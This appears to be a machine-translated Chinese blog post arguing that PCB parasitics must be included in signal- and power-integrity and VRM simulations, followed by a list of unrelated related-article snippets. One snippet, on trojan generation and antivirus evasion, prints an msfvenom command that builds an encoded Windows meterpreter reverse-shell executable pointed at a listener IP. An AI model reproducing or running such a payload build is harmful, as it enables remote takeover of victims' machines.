印刷电路板 (PCB) 的影响何时重要?在模拟环境中导航
我和我的同事们经常被问到关于 PCB 效应的相同问题,例如:
仿真何时需要 PCB 效果?
为什么时域仿真需要 PCB 效应?
当 PCB 效应必须包含在仿真中时,频率是否重要?
设计人员应该在多大程度上关注 VRM 模型中包含的 PCB 效果?
无论频率如何,这些都是有效的问题,但我的答案总是一样的。如果你想要正确的答案,PCB 效应是总是需要 PCB 效果无论频率如何,都需要。换句话说,无论您是模拟 1 Gbps SerDes、56 Gbps SerDes、DDR5-5600 总线、DDR4、电源、稳压器模块 (VRM) 还是配电网络 (PDN),您都必须始终包含印刷电路板效应才能获得正确答案!PCB 上有多个电感和电容寄生效应,可以完全改变电路性能的动态。
为什么 PCB 效应对于精确仿真至关重要
我想我们都同意,Signal Integrity 社区大多非常重视这个“思想流派”,通常包括 PCB 效应。但是,仍然存在异常值,这并不总是正确的。不包括 PCB 效应的最大差距似乎存在于电力电子领域。
当超越原理图时,了解 PCB 效应对仿真的影响至关重要。
PCB 效应对仿真精度的影响
例如,让我们使用 Texas Instrument TPS7H4003 评估板。TPS7H4003 是一个 18A DC/DC 转换器。参考图 1,左侧波形显示了 Sandler State-Space Average VRM 模型的时域电压响应输出没有包括 PCB 效果。右边的波形显示了输出电压响应的测量结果,清楚地表明左图中没有看到额外的 1MHz 振荡。中心波形描述了当 PCB 效应包含在 Sandler State-Space Average VRM 模型中时的输出电压响应。正如我们所看到的,中心波形现在不仅包括 1MHz 的振荡,而且还与测得的波形相匹配。除非使用 Keysight ADS 将 PCB 效应包含在仿真结果中,否则无法实现这一结果。

图 1 - 有和没有 PCB 效应的时域仿真与测量 [1]
阻抗和噪声频谱分析
“我们可以看看另一个例子,通过引用最近与一些同事一起完成的 DesignCon 2024 论文的摘录,来展示 PCB 效应在仿真中的重要性。2000Amp 核心轨的设计、仿真和验证挑战”的摘录,看看另一个例子,该示例显示了 PCB 效应在仿真中的重要性."参考图 2,当比较没有 PCB 效应和有 PCB 效应的仿真结果时,有两个非常快速的观察结果。
第一个是路径电阻增加了 22,000%(2.455 uOhm 至 57.441 uOhm),由每个图上的标记 m1 表示。在这种情况下,2000 安培低于 1V PDN 的目标阻抗约为 40 uOhm。作为设计师,如果没有 PCB 效应,我们可能会认为我们有足够的余量,而实际上,您需要通过在设计中添加更多铜来降低实际电阻,以满足所需的 40 uOhm 阻抗目标。
第二个观察结果是,在考虑 PCB 效应时,观察到我们的 VRM 控制回路电感(242.425 pH 至 426.882 pH)增加了 76%。
参考 EQ(1),电感增加 76% 意味着该设计的电容将增加 76%,以满足 40 uOhm 阻抗目标。同样,如果没有 PCB 效应,就不会观察到或捕捉到这一点。最终,这将导致 PCB 重新设计,这将在时间表上花费更多的时间和金钱。
情商(1)


图 2 - 无和有 PCB 效应的 2000 安培内核电源轨 PDN 的阻抗仿真 [2]
为了解释为什么在 2000A VRM 和 PDN 的设计中必须考虑 PCB 效应,图 3 比较了有和没有 PCB 效应的噪声频谱。在 VRM 的开关频率下,具有 PCB 效应的噪声频谱高出 3 dB [2]。

图 3 - 带和不带 PCB 效应的 2000 安培 VRM 和 PDN 噪声频谱 [2]
忽视 PCB 效应的成本
简而言之,正确很重要!计划外的 PCB 重新设计可能会破坏项目开发计划。除了 PCB 重新设计所需的额外成本外,为避免这种成本,您的仿真中还必须包括 PCB 效应。如果在设计签核之前没有正确考虑,构成我们 PCB 的寄生效应,无论是传输线还是电源层,都会对整体设计产生重大影响。
您是否需要以下方面的帮助:
-
为您的设计签核生成 PCB (SnP) 模型或封装 (SnP) 模型
-
希望通过准确的电磁分析确保设计中互连的信号完整性
-
希望通过精确的电磁分析来分析设计中 PDN 的电源完整性
-
支持电源完整性或信号完整性的端到端仿真工作
-
电源平面上的直流降分析
-
电热分析
-
为差分对、DDR4、DDR5 或高速 SerDes 网络生成 EM 提取
-
或者甚至只是确保 S 参数 (SnP) 模型质量 Signal Edge Solutions 非常乐意与您合作。
引用:
-
桑德勒,S.,丹南,B.,巴恩斯,H.,约茨,C.面向 Power Integrity Engineer 的 VRM 建模和稳定性分析.DesignCon 2023 年。
-
Sandler, S., Dannan, B., Barnes, H., Ezra, I., Ni, Y.,2000 A 磁芯电源轨的设计、仿真和验证挑战.DesignCon 2024 年。
-
信号完整性 电源完整性和电磁 (EM) 建模出版物 |Signal Edge Solutions 有限责任公司
-
TPS7H4003EVM 评估板 |TI.com
-
PathWave 先进设计系统(ADS) |是德科技
相关文章:
印刷电路板 (PCB) 的影响何时重要?在模拟环境中导航
我和我的同事们经常被问到关于 PCB 效应的相同问题,例如: 仿真何时需要 PCB 效果? 为什么时域仿真需要 PCB 效应? 当 PCB 效应必须包含在仿真中时,频率是否重要? 设计人员应该在多大程度上关注 VRM 模型中包…...
循环队列 bug
1. 题目描述 spfa判断负环 LC 设计循环队列 2. 普通单队列 int q[N]; int hh 0, tt -1; while(hh < tt) // empty {int t q[ hh ]; // push/* do something */q[ tt ] j; // pop }3. 错误的循环队列 int q[N]; int hh 0, tt -1; while(hh ! (tt 1) % N) // 非空 …...
Leetcode 最小基因变化
java solution:BFS 算法 class Solution {public int minMutation(String startGene, String endGene, String[] bank) {//首先创建一个集合来存储有效基因串Set<String> bankSet new HashSet<>(Arrays.asList(bank));if(!bankSet.contains(endGene))…...
输出输入练习
1. 题目:这个程序将向用户提出一个"y/N"问题,然后把用户输入的值赋值给answer变量。要求:针对用户输入y或y 和N或n进行过滤 #include <iostream>using namespace std;int main(){char answer;cout<<"请问可以格式…...
人员进出新视界:视觉分析算法的力量
视觉分析赋能离岗检测新策略 随着时代的发展,失业率增加,社会安保压力也随之增大。企业为了提升管理效率,保障园区安全,对员工离岗检测的需求日益迫切。传统的离岗管理方式,如人工巡逻、打卡记录等,不仅效率…...
3DGS较真系列
引言 机器视觉领域中,新颖视图合成技术的核心目标是通过图像或视频构建可以被计算机处理和理解的3D模型。该技术被认为是机器理解真实世界复杂性的基础,催生了大量的应用,包括3D建模、虚拟现实、自动驾驶等诸多领域。回顾其发展历史…...
MSF木马的生成及免杀
先简单生成一个木马 ┌──(kali㉿kali)-[~] └─$ msfvenom -p windows/meterpreter/reverse_tcp lhosts61.139.2.130 lport3333 -e cmd/echo -i 10 -f exe -o cmd_echo_113_3333_10.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the pa…...
人工智能与无人机:无人机的进步与应用技术详解
人工智能(Artificial Intelligence,简称AI)是一门研究、开发用于模拟、延伸和扩展人类智能的理论、方法、技术及应用系统的新技术科学。 无人机,全称为无人驾驶飞行器(UAV),也称为无人机器人、…...
LeetCode算法题(Go语言实现)_12
题目 给定一个长度为 n 的整数数组 height 。有 n 条垂线,第 i 条线的两个端点是 (i, 0) 和 (i, height[i]) 。 找出其中的两条线,使得它们与 x 轴共同构成的容器可以容纳最多的水。 返回容器可以储存的最大水量。 一、代码实现 func maxArea(height []…...
“11.9元“引发的系统雪崩:Spring Boot中BigDecimal反序列化异常全链路狙击战 ✨
💥 "11.9元"引发的系统雪崩:Spring Boot中BigDecimal反序列化异常全链路狙击战 🎯 🔍 用 Mermaid原生防御体系图 #mermaid-svg-XZtcYBnmHrF9bFjc {font-family:"trebuchet ms",verdana,arial,sans-serif;fon…...
SQL注入零基础学习二MYSQL手工注入
1.SQL注入之sqli-labs环境搭建 1.Sqli-labs项目地址—Github获取:GitHub - Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based. Sqli-labs环境安装 需要安装以下环境 apachemysqlphp Windows版phpstudy下载 - 小皮面板(phpstudy…...
可以媲美YOLO的开源实时目标检测模型:RF-DETR,在 COCO 上达到 SOTA 水平,并专为微调设计
RF-DETR:SOTA 实时目标检测模型 RF-DETR 是由 Roboflow 开发并基于 Transformer 的实时目标检测模型架构,采用 Apache 2.0 许可证发布。 RF-DETR 是第一个在 Microsoft COCO 基准测试中超过 60 AP 的实时模型,同时在基础尺寸下具有竞争力。…...
【hadoop】hadoop streaming
API: https://hadoop.apache.org/docs/stable/hadoop-streaming/HadoopStreaming.html(hadoop3) https://cwiki.apache.org/confluence/display/HADOOP2/HadoopStreaming(hadoop2) hadoop version查看hadoop版本&#…...
Unity-RectTransform设置UI width
不知道有没人需要这样的代码,就是.sizeDelta //不确定是不是英文翻译的原因,基本很难理解,sizeDeltaSize,//未必完全正确,但这么写好像总没错过 //image 在一个UnityEngine.UI.Image 的数组内foreach (var image in l…...
开发中后端返回下划线数据,要不要统一转驼峰?
先说结论。看情况!!!! 前端 主要用 JS/TS 建议后端返回 camelCase,减少前端转换成本。后端 主要是 Python/Go 建议保持 snake_case,前端做转换。但是团队统一风格最重要!如果统一返回驼峰就驼峰…...
【现代深度学习技术】现代卷积神经网络04:含并行连接的网络(GoogLeNet)
【作者主页】Francek Chen 【专栏介绍】 ⌈ ⌈ ⌈PyTorch深度学习 ⌋ ⌋ ⌋ 深度学习 (DL, Deep Learning) 特指基于深层神经网络模型和方法的机器学习。它是在统计机器学习、人工神经网络等算法模型基础上,结合当代大数据和大算力的发展而发展出来的。深度学习最重…...
链表-LeetCode
这里写目录标题 1 排序链表1.1 插入法 O(n)1.2 归并排序 1 排序链表 1.1 插入法 O(n) /*** Definition for singly-linked list.* struct ListNode {* int val;* ListNode *next;* ListNode() : val(0), next(nullpt…...
TypeScript 与 JavaScript 对比
核心概念对比 JavaScript 语言类型:动态类型脚本语言诞生时间:1995年(ES1标准)类型系统:运行时类型检查文件扩展名:.js编译需求:无需编译,直接执行 TypeScript 语言类型…...
Selenium之Web Driver常用属性
Web Driver常用属性 在上一篇文章里我们安装并且使用了selenium来操控浏览器;这一节我们来看一下Driver的一些常用属性;可以方便和浏览器进行交互 废话不多说,下面以实践为主 获取浏览器名称 browser_name browser.name print(browser_n…...
EF Core 执行原生SQL语句
文章目录 前言一、执行查询(返回数据)1) 使用 FromSqlRaw或 FromSqlInterpolated 方法,适用于 DbSet<T>,返回实体集合。2)结合 LINQ 查询 二、执行非查询操作(增删改)1&#x…...
新版 eslintrc 文件弃用 .eslintignore已弃用 替代方案
1.进入eslint.config.mjs文件 2.import { defineConfig, globalIgnores } from "eslint/config"; 引入globalIgnores 3.配置 defineConfig([ ... globalIgnores([ "config/*", ".husky", ".local", "public/*", ".…...
Python二分查找【清晰易懂】
1. 二分查找是什么? 想象你在玩“猜数字”游戏: 对方心里想一个 1~100 的数字,你每次猜一个数,对方会告诉你是“大了”还是“小了”。 最快的方法:每次都猜中间的数!比如第一次猜50,如果大了&…...
Azure SDK 使用指南
Azure SDK(软件开发工具包)是一组由微软提供的工具和库,旨在帮助开发者以多种编程语言(如 .NET、Java、Python、JavaScript 等)与 Azure 服务进行交互。 通过使用 Azure SDK,开发者可以更高效地构建、部…...
【STL】vector介绍(附部分接口模拟实现)
文章目录 1.介绍2.使用2.1 vector的构造2.2 vector空间相关接口2.2.1 size()2.2.2 capacity()2.2.3 empty()2.2.4 resize()2.2.5 reserve() 2.3 vector的增删查改2.3.1 push_back()2.3.2 insert()2.3.3 pop_back()2.3.4 erase()2.3.5 swap()2.3.6 operator[]注:关于…...
一周掌握Flutter开发--8. 调试与性能优化(上)
文章目录 8. 调试与性能优化核心技能8.1 使用 Flutter DevTools 分析性能8.2 检查 Widget 重绘(debugPaintSizeEnabled)8.3 解决 ListView 卡顿(ListView.builder itemExtent) 其他性能优化技巧8.4 减少 build 方法的调用8.5 使用…...
游戏引擎学习第182天
回顾和今天的计划 昨天的进展令人惊喜,原本的调试系统已经被一个新的系统完全替换,新系统不仅能完成原有的所有功能,还能捕获完整的调试信息,包括时间戳等关键数据。这次的替换非常顺利,效果很好。 今天的重点是在此基…...
2025计算机毕设全流程实战指南:Java/Python+协同过滤+小程序开发避坑手册
技术框架的选择是项目开发的关键起点,直接影响开发效率和最终成果质量。然而,许多开发者在选择技术框架时面临困难:现有知识储备不足以支撑复杂项目需求,团队经验有限,框架选择缺乏前瞻性常导致后期问题。尽管技术框架…...
C语言_数据结构_二叉树
【本节目标】 树的概念及结构 二叉树的概念及结构 二叉树的顺序结构及实现 二叉树的链式结构及实现 1. 树的概念及结构 1.1 树的概念 树是一种非线性的数据结构,它是由n(n>0)个有限结点组成一个具有层次关系的集合。把它叫做树是因为…...
Compare全目录文件比较内容(项目中用到过)
第一步:找到“会话”——“会话设置” 会话设置弹框信息 第二步:选择“比较”tab标签 比较内容:选中二进制比较 第三步:选中所有文件 第四步:右键选中“比较内容” 第五步:选中“基于规则的比较”...
3.26[a]paracompute homework
5555 负载不平衡指多个线程的计算量差异显著,导致部分线程空转或等待,降低并行效率。其核心矛盾在于任务划分的静态性与计算动态性不匹配,尤其在处理不规则数据或动态任务时尤为突出。以稀疏矩阵的向量乘法为例,假设其非零元素分…...
